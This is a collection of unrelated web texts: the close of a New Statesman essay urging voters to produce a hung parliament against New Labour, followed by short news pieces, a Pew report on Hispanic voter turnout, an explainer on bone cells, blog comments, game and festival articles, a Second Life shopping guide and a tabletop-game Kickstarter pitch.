electronic tag worn by criminals allowed out on probation. It belongs to the state and will entail an obligation to keep it informed and updated as the state manages our identity for us. Should it become compulsory, it will mark our subordination to the electronic leviathan.  Hardly popular, you might say, and opinion polls bear this out, which is why the policy itself is also being managed rather than debated. A marvellous example was provided by Brown himself in his party conference speech at the end of September last year:  In the last two years we have looked again at how we can give the best security to our British citizens whilst never undermining their liberties. We will reduce the information British citizens have to give for the new biometric passport to no more than that required for today's passport. And so conference, I can say to you today, in the next parliament there will be no compulsory ID cards for British citizens.  I think it is fair to say that without the Convention on Modern Liberty organised by Henry Porter and myself the previous February, such "looking again" would not have occurred. The announcement of no compulsory ID cards got one of the loudest cheers of Brown's conference speech. But what he was really saying was, "Re-elect me and there will be compulsory ID cards after the next parliament." What appeared to be a welcome retreat was in fact a blatant, yet devious, decision to carry forward the creation of the state management of our identities, while sterilising it as an election issue.  We don't live in a police state. But the potential for a modern authoritarianism has to be reversed, or else its forms of intimidation, far more sophisticated than hosing protesters into the gutter, may become irreversible. On this issue, above all, Brown is imposing his will, and he will have his way, circumventing open debate, unless he is defeated at the polls.  Deception  Deception is a New Labour hallmark. Its routines were established early in what we can call "the Campbell Code", in which presentation is substance, projection a form of media war and the appearance of truth its warrior sword. It was on display at the Chilcot inquiry as Blair insisted that the invasion of Iraq was a matter of his "judgement" as prime minister. But when Lawrence Freedman queried Blair's judgement for telling parliament it was "beyond doubt" that Iraq had weapons of mass destruction, Freedman was told that this was what the former prime minister "genuinely believed". An effortless transformation of the issue into one of sincerity.  Blair got away with it. And the bankers got away with it, without even as feeble an inquiry as Chilcot. For the public, the scandal of MPs' expenses was decisive - it was a "Gotcha!" moment. Trust won't be "restored" by somehow instilling financial propriety among MPs, because the crisis involved a ruling culture of deception and entitlement having its cover blown. David Cameron can't oppose it credibly, since he presented himself as the heir to Blair. So, when the government attacked the Conservatives over the influence on them of Michael Ashcroft's money, Cameron's reply was that "people in glasshouses shouldn't throw stones". In parliamentary terms, the riposte worked. But the episode confirms that ordinary voters are right to see both parties as living in the same corrupt conservatory. And the taint of corruption is embedded deep in the system. In 1985, in his Mackintosh Memorial Lecture (which Brown would have read at the time), Neal Ascherson argued:  It is not possible to build democratic socialism by using the institutions of the Ancient British State. Under that include the present doctrine of sovereignty, parliament, the electoral system, the civil service - the whole gaudy heritage. It is not possible, in the way that it is not possible to induce a vulture to give milk.  Part of the appeal of New Labour before 1997 was the implicit promise that it would tackle this culture head-on. Instead, its leaders stripped away such decrepit checks as parliamentary procedure and cabinet deliberation, so as to exercise all the more fully what is, in effect, royal power. Power thus exercised is intrinsically corrupt. Personally unimpeachable politicians, such as the Miliband brothers, are just as contaminated by it all as Blair.  Brown could have stopped the rackets that kept backbenchers quiescent in the Commons. He could have abolished the crony appointment of half of our parliament that besmirches the UK's claim to be a democracy. He could have, but he didn't. Instead, he drank the vulture's milk.  Here is a test. Ask a Labour candidate if he or she is politically honest. They will assure you that they are. Ask them if they will accept the will of voters in their constituency on election night if they fail to get the largest number of votes. "Of course," they will reply. Then ask them whether, should they be elected, they intend to accept the will of the voters across Britain? Here, there might be a pause for calculation. Taking advantage of the pause, develop the question. Suppose that the Conservatives were to get 5 per cent more votes than Labour - in other words, a clear majority of the popular vote between the two parties - but Labour were to win as many seats. Wouldn't it be dishonest to support Labour in forming the government? Shouldn't they agree that they will not defy the clear preference of British voters by preventing the Tories from realising a chance to exercise power? It will take no time at all for your honest candidate to dismiss such a suggestion as naive. You will be told that you "do not understand" how things work. In fact, you will have understood it very well. It goes to show that we do not have an honest politics, however honest individual MPs may be.  Brown and Mandelson love being in power. They will do everything they can to stay there. Maybe they have lost interest in the tiresome country that they also have to "run", preferring to call for global constitutions instead. But they need national office, if only as a base from which to advance their planetary pretensions. They long ago replaced their socialist hearts with a triple-bypass that beats to the pulse of globalisation and international finance. And to secure their base, they have initiated a staggering reconstruction of the British state, using their unchecked executive power to modernise our government and policing, and to pre-empt the democracy of constitutional citizenship with hi-tech subjecthood. Brown, Mandelson and Blair are not the only begetters of the corruption of this country's political system; the responsibility lies with the political class as a whole, something that the public understands pretty well. But they alone inherited the power to reform it and they must take the responsibility for failing to do so.  The alternative  I watched David Cameron talking recently about Brown's suggestion of a referendum on the voting system. He said that what this country needs is "strong government". An involuntary shudder passed through me. Have they learned nothing? What this country needs is an opposition: an alternative to the two-party bad faith on Afghanistan (pity, but we have to stay), the EU (pity, but we have to stay), the House of Lords (pity, but it will have to stay), strong government (got to keep it in order to ensure the above). When the expenses scandal struck, Cameron declared that it was time to give "power to the powerless", while Brown pleaded that he was a long-time supporter of Charter 88. Who are they kidding? Neither will deliver change.  As there isn't an opposition, we should start to invent one by opening up the political space from which it can emerge. It would be best to do this with the Liberal Democrats, but if not with them, then without them. The slogan is short enough: "Hang 'em".  We need to hang parliament and hang the two main parties. We need to vote Brown and Mandelson out, first of all, but not vote Cameron and company in to carry on where Labour has left off. We need a hung parliament so that invention and new voices are registered, so that the public can express how it has lost trust in the political class, and different forces be allowed to reshape the political scene. In my view, one of these should be an English voice, so that the United Kingdom can move, at last, to a grown-up federal model. I note this to signal that I am not afraid of such an outcome. Naturally, other populist sentiments will emerge. But the longer they are bottled up, the more twisted and resentful they will become. If we want a progressive realignment, it has to come from below.  How should we hang 'em? By voting for the candidate most likely to increase the number of independent and third-party MPs of all kinds. That means Lib Dems in constituencies where the party looks the most promising. And Caroline Lucas in Brighton for the Greens; Plaid Cymru and the Scottish National Party where they have the best chance; even, despite his loathsome attack on Herman van Rompuy, Nigel Farage of Ukip against the Speaker of the House of Commons (who anyway endorses the need for rough justice). Ideally, the Lib Dems would seek English electoral pacts wherever possible, and likewise in Scotland and Wales. Alex Salmond got it right when he said that the SNP should aim to hold the balance of power. This, surely, is the bold approach Nick Clegg, Vincent Cable and Chris Huhne should take. A single list of independents, nationalists, Greens and Lib Dems should be negotiated, on the basis of who is most likely to open up politics, so that everyone can vote to hang the two main parties. And to hot things up, the list should also include maverick MPs from the Tories and Labour - Frank Field and David Davis come to mind. This would send out a different kind of signal from the one the political class expects: that it pays to rebel.  It's easy to imagine the headlines - especially from the Sun, which "prayed" for Britain to become great again when it switched allegiance to Cameron. It would lead to confusion, it would make us look weak. We'd lose our credit rating and Argentina would invade the Falklands. But think of the upside. Arguments that attract popular support might have influence - thanks to a public, it should never be forgotten, that was wiser than the political class about Iraq. Real thinking could begin, and, who knows, there may be a role for websites and magazines such as the New Statesman in debating the future of the British system, rather than supporting this or that party, this or that faction.  Those on the left should help Britain vote out New Labour, but frustrate the Cameroons. Brown, Mandelson and Blair had an unprecedented opportunity to reform the British system with public support. Instead, they chose to intensify the centralisation of power. There were important reforms, yet these have only moderated but not reversed the construction of an authoritarian government, dating back to Thatcher, the function of which is to support a profoundly unequal and exploitative global order. Voters don't want this. As the New Statesman's Mehdi Hasan argued recently, the public is "to the left not simply of New Labour, but the political and media classes as a whole". If he is right, then, in order to let the people speak, we must break open our political-media class and, above all, the two-party system. The best way to do this is to hang 'em.  Anthony Barnett is the founder of openDemocracy and co-edits its British blog, OurKingdom. We will be publishing replies to this essay in the next few issues, beginning here with David Marquand.  This article appeared in the New Statesman under the headline "Hang 'Em"
-Share. Get your first look at the new Power Rangers posters! Get your first look at the new Power Rangers posters!  IGN and Lionsgate have teamed up to debut five new character posters from the new Power Rangers Movie">Power Rangers film. Lionsgate is also bringing the Power Rangers to New York Comic-Con on Saturday, October 8. There will be a Q&A with the cast and producers as well as a first look at footage from the film.  Each of the five character posters show off the Red, Pink, Black, Blue and Yellow Rangers in solo poses, which you can see below.  Check out the official synopsis for the Power Rangers film below.  Saban’s Power Rangers follows five ordinary high school kids who must become something extraordinary when they learn that their small town of Angel Grove – and the world – is on the verge of being obliterated by an alien threat. Chosen by destiny, our heroes quickly discover that they are the only ones who can save the planet. But to do so they will have to overcome their real-life issues and band together as the Power Rangers before it is too late.  Exit Theatre Mode  Directed by Dean Israelite and starring Dacre Montgomery, Becky G, Ludi Lin, Naomi Scott, RJ Cyler, Elizabeth Banks, Bill Hader and Bryan Cranston, the Power Rangers go, go in to theaters on March 24, 2017.
-Hispanics have voted in record numbers in recent years, but their turnout rate continues to lag behind whites and blacks, according to a Pew Research Center analysis of Census data.  Hispanics today make up 11.3% of all eligible voters. But voter turnout among Hispanics has not kept pace with the growing number of eligible voters in recent national elections. In 2010, Hispanics cast a record 6.6 million ballots out of 21.3 million eligible voters, a turnout rate of 31.2%. But that was still far below the turnout among black voters (44%) and white voters (48.6%).  A record 24.8 million Hispanics are eligible to vote in 2014, according to February Census figures, up from 21.3 million in 2010.  Some suggest that Hispanics might stay home on Election Day this year out of dissatisfaction with the president over immigration policy, while others predict Latinos will turn out in record numbers. As groups push to register Hispanic voters in advance of this fall’s midterm elections, frustration has mounted over stalled immigration reform in Congress and the continued deportation of unauthorized immigrants under President Obama. Support for the president among Hispanics has eroded since September 2013, according to a recent Pew Research Center survey.  A low voter turnout rate among Hispanics stretches back several midterm elections. Since 1986, the turnout rate has dropped from 38% to 31.2% in 2010. The gap in turnout rates between whites and Hispanics has increased from 12.7 to 17.4 percentage points over the same time period.  Nevertheless, Hispanics made up a larger share of the electorate in 2010 than in any previous midterm election, representing 6.9% of all voters, up from 5.8% in 2006. In 2010 House races, Hispanics favored Democrats over Republicans by 60% to 38%.  Voter turnout rates in 2010 varied among Hispanics. College graduates had the highest turnout rate (50.3%), and young people under 30 were least likely to vote (17.6%). Nearly half (49.3%) of Cuban-origin Hispanics voted, compared with just 28.7% of Mexican-origin Hispanics. Some 800,000 Hispanics—the vast majority U.S. born—turn 18 each year, a demographic wave that’s projected to double the Hispanic electorate by 2030.  The relative youth of the Hispanic electorate has helped drive down the group’s overall turnout. In 2010, 31% of Hispanic eligible voters were under 30. By contrast, 19% of white, 26% of black and 21% of Asian eligible voters were under 30. People give similar reasons for not voting, regardless of race or ethnicity. Among registered voters who didn’t vote in 2010, one-in-four Hispanics chose “too busy, conflicting work or school schedule” as the reason they did not cast a ballot. About the same percentage of non-voters overall chose the same reason. Nearly twice as many Hispanics as non-voters overall said they forgot to vote, 13.3% to 7.5%.  Topics: Hispanic/Latino Vote
-As previously announced, this week’s issue of Weekly Famitsu magazine #1502 includes a feature on the upcoming Dx2 Shin Megami Tensei: Liberation smartphone title, with the first substantive information on the game.  Developed by Sega and created by Atlus, Dx2 Shin Megami Tensei: Liberation is planned for a 2017 release for iOS and Android devices, in Japan.  The Famitsu feature will show off original characters in this game, as well as numerous familiar demons from the series. Additionally, game systems are explained with in-game screenshots.  The latter part of the feature includes an interview with Sega’s Toshihiro Nagoshi (chief creative officer) and Atlus’ Naoto Hiraoka (general manager) about the history behind this project, and what they want to achieve with it.  The September 28, 2017 issue of Famitsu—or issue #1502—will be released in Japan on September 14, 2017.  — Famitsu
-Serena,  Congrats on your engagement!! I grew up watching tennis with my Mom's best friend and why I consider you my all time favorite athlete. She watches every single tennis match she possibly can, scheduling her limited vacation times around tournaments just to be able to watch every match. She dropped out of high school almost 35 years ago to support her family and works 70+ hours a week, sacrificing her health and free time to support them. One year she was lucky enough to win store of the year for the restaurant she manages and got to choose anywhere in the world she wanted to go and she chose the US Open. She had the time of her life getting to watch you and her "boyfriend" Rafa play.  Just this month she lost her dad to a heart attack and her sister to pneumonia. I just got home from her sisters funeral an hour ago. As you can guess it has been an awful Christmas season for her. Is there any way you could either send her a card or tennis ball to cheer her up? She waited for hours at the US Open to try and get her ball signed but couldn't get to you. I hope one day after college I will be able to take her to as many tournaments as I can, I would truly do anything for her. If you need proof of anything I would be more than happy to message you privately.  Thanks for giving me something to bond with her over the years and congrats on your new engagement! I know she'll be happy for you too!
-Russia and Armenia will establish a unified air-defense system in the Caucasus.  © Sputnik / Vitaliy Belousov Russia to Cooperate with Armenia on Nuclear Energy – Rosatom  MOSCOW (Sputnik) – Russian President Vladimir Putin has instructed the government to sign an agreement with Armenia on the creation of a joint regional missile defense system in the Caucasus, according to the decree published Wednesday.  “Accept the proposal by the government of the Russian Federation on signing an agreement between the Russian Federation and the Republic of Armenia on creating a Joint Regional System of Anti-Air Defense in the Caucasus region of collective security,” the document reads.  Putin instructed the Russian Defense Ministry to sign the agreement with Armenia on behalf of the Russian Federation.  According to the Council of CIS Defense Ministers, creating joint missile defense systems in Eastern Europe, Caucasus and Central Asia regions is a key objective for the Commonwealth of Independent States.
-There are three special types of cells that are found only in the bone.  These cell names all start with "OSTEO" because that is the Greek word for bone.  OSTEOCLASTS are large cells that dissolve the bone. They come from the bone marrow and are related to white blood cells. They are formed from two or more cells that fuse together, so the osteoclasts usually have more than one nucleus. They are found on the surface of the bone mineral next to the dissolving bone.  OSTEOBLASTS are the cells that form new bone. They also come from the bone marrow and are related to structural cells. They have only one nucleus. Osteoblasts work in teams to build bone. They produce new bone called "osteoid" which is made of bone collagen and other protein. Then they control calcium and mineral deposition. They are found on the surface of the new bone.  When the team of osteoblasts has finished filling in a cavity, the cells become flat and look like pancakes. They line the surface of the bone. These old osteoblasts are also called LINING CELLS. They regulate passage of calcium into and out of the bone, and they respond to hormones by making special proteins that activate the osteoclasts.
-Page 1 of 3 << [1] [2] [3] >> From: primavera  2012-02-02 10:04 pm (UTC)  Kitties. So lovable. So stand-offish. From: jeffcouturier  2012-02-02 10:09 pm (UTC)  These look so, so good Lucy. Watercoloring hourlies was ambitious, to say the least, and you did such an excellent job. From: corvideye  2012-02-02 10:24 pm (UTC)  Surely you are going to win. Last I voted, you had twice as many votes as anyone else and besides your entry was massively more awesome.  I love how the cat has taken on the internal critical voice... my cats are usually giving me non-critical messages like "take more naps" and "lie on the couch more while petting me". From: milkradio  2012-02-02 10:25 pm (UTC)  Aw, these are really cute. I love them! From: gallo_de_pelea  2012-02-02 10:29 pm (UTC)  Ahhhhh, wonderful! And yay, Kraken! That makes for a badass ginger-pecan rum cake :9 From: cleanskies  2012-02-02 10:35 pm (UTC)  So beautiful! From: taiirei  2012-02-02 10:45 pm (UTC)  CARAMELLO KOALAS!!!! From: gfrancie  2012-02-02 10:47 pm (UTC)  This is why I don't have a cat. I don't want that cat judging me when I look at pictures of Benedict Cumberbatch. From: Ada R  2012-02-02 10:54 pm (UTC)  These are gorgeous - probably my favourite hourly comics so far! Also, I hope you won the shoe contest! From: sockdrawerdemon  2012-02-02 11:18 pm (UTC)  I'm sure you won! Last I voted you were dominating it. You are very good at watercolours, and I am jealous. From: Adam Cirone  2012-02-02 11:25 pm (UTC)  First time commenting here... but I have been enjoying your work on this site since I read "French Milk" about a year ago. I love your style, your colors, your humor.  Anyway, nice set of hourly comics. "Reunited At Last" is a particularly fun panel. From: art_lurker  2012-02-02 11:27 pm (UTC)  Love these - turned out gorgeous! :D From: yaytime  2012-02-02 11:53 pm (UTC)  Great read and fantastic colors! From: anaaki_mlb  2012-02-03 12:45 am (UTC)  Love! Great job :) From: simonleslie  2012-02-03 12:53 am (UTC)  always a pleasure to read your lovely posts :) Page 1 of 3 << [1] [2] [3] >>
-As Silver Hayes, formerly known as Dance Village, announces two additions to the bill, the Guardian Africa network explores the festival's long tradition of supporting African music  Glastonbury Festival will announce two new acts for its 2014 line-up today. DJ Fosta and Thibo Tazz, two artists from Cape Town’s townships, will play Silver Hayes, the area formerly known as the dance village, on Saturday.  Both artists will bring their African-inspired house beats to the blues stage, the first booking of its kind for Silver Hayes.  The pair's trip is funded by the British Council's Connect ZA scheme and The Department of Arts and Culture of South Africa, which aim to build cultural connections between young people in South Africa and the UK, Pioneer DJ are a co-sponsor. Bridges for Music – a charity that works with some of dance music’s biggest stars to support artists in developing countries – has also helped to arrange the pairing between the acts and Glastonbury.  DJ Fosta  Speaking by phone from his studio in his home in Langa township South Africa, DJ Fosta, real name Thulani Headman, said he hadn’t heard of Glastonbury before being asked to play at the festival, but has since done his research.  For him the opportunity has already opened up a wave of possibilities; he nearly gave up on music last year, disillusioned with the scene and struggling to make ends meet.  Headman's music is a combination of deep house beats with live vocals. "It represents my lifestyle, an expression of myself and my surroundings" while growing up in Langa township. He also runs his own label, 021 records, for up-and-coming artists in the area. The label champions house, hip hop and kwaito (hip-hop beats featuring vocals in local languages) which has proved very popular.  Sounds from DJ Fosta and his crew are sometimes referred to as sjoko-jojko, which means the party lifestyle. Whilst Johannesburg is considered a music hub, Headman is passionate about maintaining a Cape Town scene. "My problem is that once people move [away], they don’t enrich the music industry," he says. "Kids in the township get into the wrong type of things, they don’t have local icons, only people they see on TV".  Thibo Tazz, whose real name is Thabo Rasenyalo, lives a 10-minute drive from Headman, describes his sound as a mixture of, deep house, soulful vocals and minimal tech. It's finding its niche in South Africa, where house has been a near-obsession for the past few years.  Rasenyalo says he is not "usually into festivals" but he understands how important they are for the global music scene. "The first thing that caught my attention is that tickets sell out in the first hour, so it must be good".  Headman played Synergy Live for the first time last year, and he regularly appears at picnics in and around Lunga – outdoor events for the community which attract up to 10,000 people. But even in South Africa, he says DJs from the townships can be overlooked.  "The local DJs are still supporting DJs, the fees [for performing] are close to nothing," and there is a general lack of respect from promoters and others in the industry, he says.  Rasenyalo enjoys playing township events the most, where he sees "youngsters getting very excited, they tell you how much how they are enjoying themselves and that they want to get into music." He says that is how he started: "I used to sneak out of school and go to cultural events". He’d take a cricket bat along so his mum thought he was playing sport. At the time he didn’t really know what a DJ did, he was drawn by the sounds and the atmosphere. For Headman, DJing was an avenue out of trouble.  As they talk about their artistic struggles, it seems they have a lot in common with artists around the world. Headman talks about how "major labels make things difficult for independent labels". Whilst they are hindered by a resources and a lack of facilities. Rasenyalo is keen to point to other South African artists like Black Coffee and Culoe de Song, local heroes who’ve made it big.  He says artists like himself "tend to rely on not having resources as our way of saying 'we cannot to get to next level'", but says that is a mindset he says needs to change. He cites workshops hosted by Bridges for Music as critical to shifting thinking.  The DJ have worked Richie Hawtin, Skrillex and Lucanio in South Africa, ambassadors for Bridges for Music, Hawtin said it was "one of the proudest moments in my career". Hawtin and Srillex are both booked for Glastonbury too, and Silver Hayes coordinator Malcolm Haynes says he would love to see another collaboration.  Thibo Tazz  Both Headman and Rasenyalo have a long list of other DJs they want to see and meet. "I am not just there to deliver my set but to learn, I want to go home with something," says Headman.  Neither DJ seem bothered about headliners Metallica, so what else should they do? "Oh my days, where do they start," says Haynes. "I just hope that they take in the sheer enormity of the festival and enjoy their time with us. Glastonbury has so much to offer, not just in music, but culture, and performing arts as well."  Should British festivals be doing more to foster this type of collaboration? "Of course" Haynes says, where possible. "Glastonbury is in a great position to do this, as we don't rely on the line-up in to sell tickets, this gives the festival the opportunity to bring acts and performers to the festival that normally would not get the chance".  It only seems fair that they have been warned about the weather, with a laugh Rasenyalo tells me he heard "it is not to be taken lightly… I’ve seen the pictures and it gets pretty grimy at times". He will use the next few weeks to prepare, he says. Headman who heard "it gets a bit hectic" has started to look for a pair of wellies. Both will be camping.  It's not the first time Glastonbury have partnered with African musicians to promote social causes. Malian singer Rokia Traoré was the first act announced for Glastonbury 2013, speaking at the time Festival organiser Emily Eavis said it was "an act of solidarity", responding to Islamists who had banned music in the north.  Others listed on the official line up include Seun Kuti (youngest son of afrobeat pioneer Fela Kuti) with Egypt 80, and Toumani and Sidiki Diabat, who will play on the Pyramid on Sunday and Tinariwen, a group of Tuareg-Berber musicians from the Sahara Desert region of northern Mali.
-We’re starting to get more details about the upcoming Mass Effect 3 DLC: Leviathan. It’s the hunt for a rogue reaper who's  indoctrinated a mining colony. It features difficult combat, pouring rain, and a giant undersea mech. It’s about the size of Lair of the Shadow Broker and takes place in the middle of Mass Effect 3’s story.  And, according to IGN, it’s going to create some new options in the ending. Again.  If I were with Bioware, I’d be trying my best to avoid the words “ending” and “Mass Effect" appearing in the same story ever again, but the urge to tinker can be overpowering. I’ve already ended my Mass Effect experience two different times. The idea of doing it again is a little bit tiring.  The Reapers were always some of my favorite characters in Mass Effect, so it’ll be interesting to see one of the ancient monsters with a different agenda. But mid-story DLC like this is always problematic. The war for the fate of the galaxy already had its conclusion, and it essentially asks the player to play through the entire game again.  As I’ve said before, I haven’t had quite enough of Mass Effect yet. I’d love to play through the adventures of Thane or some kind of wisecracking criminal we’ve yet to meet. Shepard, on the other hand, already finished his or her story. Trying to bloat it out in the middle just feels excessive.
-Similar to real life, Second Life shopping can be quick and easy or time consuming and in depth. You can go to a mall just to window shop, or you can find what you need via the web by browsing the Marketplace and heading right to the location in world. This guide will help you find what you need when shopping in world.  Second Life Shopping In World: The Basics  With the Marketplace as an option it may seem silly to shop in world. Why browse through the game when product searches are more specific on the web? For the exact same reason you’d go to the mall instead of shopping Amazon, of course! You can see how things look in the world instead of just product advertisements. You can watch the people around you to see what they’re interested in is a lot of fun too!  Getting Started  Second Life is a vast world filled with thousands of sims. Knowing how to navigate them is the key to finding what you need in game. After logging in, your first step will be to open the search. I prefer using the Websearch tab for shopping since it’s a lot neater and easier to navigate. Make sure you select Places from the dropdown menu if you’re specifically looking for store locations! Then simply search for what you need (I find the more broad the topic the better), check out descriptions for the results that interest you, and select a place to teleport.  Off To The Shops!  Generally when you first land at a store you’ll be in a welcome area. This area is usually set up as a welcome spot. Many stores offer a map of the location, group/ subscription information, and anything else they feel is important for their visitors. Make sure you read any store notecards that are given to you. They often have in depth information about the store’s policies and any ongoing sales.  You can wander around stores freely and see if any products interest you. Some stores will have employees to greet you and help you as needed. Feel free to see if there is any conversation and learn from the others around you.  Selecting Products  Stores may have their items rezzed in world or modeled on avatars so you can see how the product looks in use. Others will have pictures of the item for sale. Many have a combination of both. Usually information such as price will be located near the rezzed object or on the picture of the object. If not, right clicking can give you more information. If a demo is offered make sure you give it a try before purchasing the full product!  You may have to left click the object for a pay or purchase option to pop up. Sometimes right clicking the object is required instead. Most products will tell you if something else is required. If you’re not sure see if there are employees around or join the store’s group to ask.  Supplementing With The Marketplace  If in world shopping is too broad for you, consider using the Second Life Marketplace as a web based alternative to browse a few items. When you find the quality or style you like you can then visit the stores in world to get a better look. For tips on using the Marketplace check out my in depth guide.  Alternatives to Traditional Shopping  Going store to store to peruse items isn’t the only way you can find good products. Thanks to creative marketing we have a few very fun alternatives that anyone can participate in.  Hunts  Scavenger hunts are a fun and popular way to collect free and low cost items. Hunts usually run from a few days to a few weeks and let you explore new areas to find fun rewards. Visit HUNT SL for the latest hunt info. If you’re interested in being a master of the hunt, check out Isabeal Jupiter’s Hunting Tips.  Gacha  Based on the Japanese machines of the same name, Gacha are low cost vending machines that give a random item. Most have the chance at something rare and/or exclusive. Gacha can be found all over the place, from a few scattered across a sim to giant events spanning multiple sims. HUNT SL lists some gacha events under their Fairs and Events section.  Freebie Groups  If you’re looking for no-cost and low-cost items, freebie groups are one of the best ways to build your collection. One such group, FabFree, shares multiple items a day via its blog and group. Freebie groups tend to share a few different types of low cost items:  Completely free items with no strings attached. Group Gift items that require a group tag to purchase. Midnight Mania boards require a specific amount of users to participate before an item is awarded.  Store VIP Groups  VIP groups are one of the best ways to get high quality items as they are released, sometimes even at a discount! When you find a brand you love, joining their group is a great way to interact with other players and to keep up on all the new products. In addition to representing a store you love, many VIP groups offer other perks such as:  Free products Many groups give members something for no cost on a regular basis. This is especially popular with hair and skin groups. Discounts Plenty of sellers allow group members to take advantage of lower prices than the average buyer. Make sure you’re wearing the group tag at the time of purchase so you don’t miss out! Exclusive Items Some stores offer exclusive products to group members. These items might be made available to the public later, but they may forever be for group members only! Store Credit A few stores offer a credit system if you’re a group member. Members must make their purchase with the group tag on to get a percentage of the cost as an available balance for spending at the store.  Tell me about your favorite way to enjoy Second Life shopping!  (Visited 217 times, 1 visits today)  Like this: Like Loading...
-Whitey GZ decided to try to rob the victim instead of filming his music video, police said. View Full Caption NYPD and Instagram/benfranklins  THE BRONX — A videographer who has "Achieve the Impossible" and "Dream for Success" tattooed into his arms decided to rob a musician instead of filming him, police said.  The suspect, who also raps under the name Whitey GZ, met the 19-year-old musician on Dyre Avenue in The Bronx and then went to the 22nd floor of 3419 Irwin Ave., near West 234th Street, to film his music video, NYPD officials said.  The suspect has "Dream for Success" and "Achieve the Impossible" tattooed on his arms, police said. (Instagram/@benfranklins)  But rather than stay behind the camera, Whitey tried to swipe the talent's cellphone and backpack, police said.  The victim resisted so Whitey pulled a gun and shot him in the left thigh before running away, police said.  The victim was treated at St. Barnabas Hospital where he's listed in stable condition, police said.  A third man, 36, saw the shooting, according to an NYPD spokesman. It wasn't immediately clear if he was associated with Whitey or the victim.  Whitey had not been arrested as of Thursday afternoon, police said.  Whitey has "Achieve the Impossible" tattooed on his left arm and "Dream for Success" on his right, police said. He was last seen wearing a white T-shirt, black pants and white sneakers, police said.  He maintains several social media profiles on which he publishes his own music.  A video posted by MR From The Land Like Tarzan🌴 (@benfranklins) on Aug 25, 2016 at 6:31pm PDT  His latest post, on Instagram, is a plea for a companion.  I JUST NEED A GIRL 😫🤒👫🙄 A photo posted by MR From The Land Like Tarzan🌴 (@benfranklins) on Sep 20, 2016 at 7:59pm PDT  In another Instagram post, he's seen pointing a gun at the camera.  A photo posted by MR From The Land Like Tarzan🌴 (@benfranklins) on Aug 27, 2016 at 11:22pm PDT  Anyone with information should contact Crime Stoppers at (800) 577-TIPS (8477).
-Straight line out from Reorte to Riedquat takes you out past Heart and Soul Nebulae on the left and NGC 281 to the right and below you.Hypoae Aim sector is the outer edge of the Perseus Arm.Pha Aeb and Hypo Aeb sectors are slam bang middle of the rift between the Perseus and Outer Arms.Dryeae Aeb sector is the far side of the Outer Arm.I'm going to say Pha Aeb / Hypo Aeb sectors in the rift between Perseus and Outer Arms.Bear in mind a sector is a huge cube 1280ly on a side, subdivided into 512 smaller cubes of 160ly on a side.In fact I've had a look around and there is a system that would act like a lighthouse in that dark space...Hypo Aeb AA-A h0It's about 13059ly from Riedquat (yeah, I calculated it) and is a load of O0 and B0 stars. Once you reach the edge of the Perseus Arm, it will shine there like a siren out in the darkness.You will need an Anaconda rigged for exploration to get the maximum 40ly jump range.... In fact, you've probably given me my next expedition once I get back from the core.
-SANTA ROSA (CBS SF) — Two teenagers are conquering traditional homecoming norms at a Santa Rosa high school with the help of their classmates at Maria Carrillo High School.  Juniors Shealynn and Charley were named homecoming royalty Friday evening, becoming the first same-sex couple in the school’s history to win the title.  Two tiaras were placed on the head of the “princesses” during the football halftime celebration. The couple who identify as pansexual — a sexual or emotional attraction toward people of any sex or gender identity — were nominated by an “overwhelming number of votes” for Junior Homecoming Queens, according to Shealynn’s mom Yvonne Stillman.  Stillman said after reading the story about the lesbian couple in Arizona denied to run due to a school practice where homecoming royalty must be made up of a male and female pair, her family wanted to share with the world that change is possible and happening. “I believe our daughter’s story sends a message of hope on the message of gender equality,” Stillman said.  A fellow student suggested to the couple that they should run. The word spread quick, and classmates starting nominating them.  “The way the students and especially staff have behaved has been beyond what we thought was possible,” Stillman said. “They’ve been nothing but supportive.”  Stillman said the 16 year olds were even asked if they preferred to be Duchess and Duchess or King and Queen.  The couple say they are shocked at all the support they’ve received from their student body and teachers.  “I guess they were expecting a little hate and they said they’ve felt zero,” Stillman said. “They said, ‘We hope that this will help others who want to come out, see that it’s OK and safe.'”  The couple recently spent the afternoon looking for dresses just in time for the homecoming ceremonies this Friday.  READ MORE:
-Pregnant Elsa Burger Cooking  Elsa is pregnant and she has a lot of cravings. One of them is a burger, so you can help make a delicious one to satisfy her hunger. First she has to go shopping and buy all the ingredients she needs. Hurry up, because your time is limited. In a bowl, mix oil, salt, pepper, coriander, onion, garlic and chicken meat. Blend them all together well until you get a nice paste. Put oil in a pan and let it get hot, then fry the meat pieces in it. Finally you will have to create the burger. First put a bun on the plate, add a piece of meat, then some fresh tomato slices, coriander, onion slices, another piece of meat and complete with the top bun. The double burger is ready and Elsa is very excited about it! You can create your own and even change the ingredients or add some sauces. Good luck!  Published: May 4, 2015
-We are FUNDED and TAKING ON stretch goals like a dwarf in a bar fight takes on a dozen drunken hobgoblins! We just unlocked The Genius Guide to the Godling and BATTLE MUSIC FOR BASTARDS!  IMPORTANT INFO:  We're in the FINAL HOURS and there are still some terrific backing options available:  *** Pledge at the $250 level and you could PLAY in the World's Worst Dungeon Crawl at Gen Con! ***  *** There's still ONE $350 pledge available out there. NAME A PC plus all the $250 level rewards! ***  *** Pledge at the $150 level and you might become the game's OFFICIAL DICE FLUFFER! ***  *** We will be making ADD-ONs available AFTER the campaign! ***  UPDATE 11 has more extensive details.  New Reward Reference Chart  We have a great set of rewards for backers. To help you break it down we've put together this handy reference chart.  Hey gamers, over the years I’ve given advice to thousands of players on how to KICK ASS (play a dwarf!) TAKE NAMES (inscribe them on your axe) and CRUSH DUNGEONS IN STYLE (hint: SWEATBANDS) but I’ve largely neglected to help those unfortunate souls sitting on the OTHER side of the screen – the DM.  WHY?  Because being the DM is EASY. You just read some boring boxed text and send a couple of goblins into the room. A SECOND-GRADER COULD DO IT.  Some of my critics disagree. “EASY?” they say, as globules of rage fly across the room. “You think running an inventive, engaging, BADASS RPG adventure is EASY?”  That’s right. And I’m going to PROVE it by taking the World’s WORST Dungeon Crawl and making it AWESOME.  Based on decades of RPG experience, I’ve culled together the most odious PCs, plots, and encounters and built a Frankenstein’s MONSTER of BADASSITUDE. It’s called Flaming Deathpits of the Minotaur Mage: Descent into Doomfire! It has a hackneyed “Save the Princess” plot. It has pyromancer named “Steve.” It has ROLE-PLAYING.  Yeah, you’re right: it sounds like a total train wreck. And I’m going to climb that train, stoke its engines with 200cc’s of pure, undiluted DUNGEON BASTARD GUSTO and CRASH that thing directly into the BIGGEST, most NOTORIOUS gaming convention of them all: GEN CON 2013.  That’s right — I don’t do things HALFWAY, gamers. If I’m going to prove how easy it is to take the World’s Worst Dungeon Crawl and make it TOTALLY AWESOME, I’m going to do it LIVE, in-person, before a crowd of the world’s most hard-core gamers.  I hope to present this “masterpiece” of fantasy adventure not only as a published RPG adventure for you to enjoy 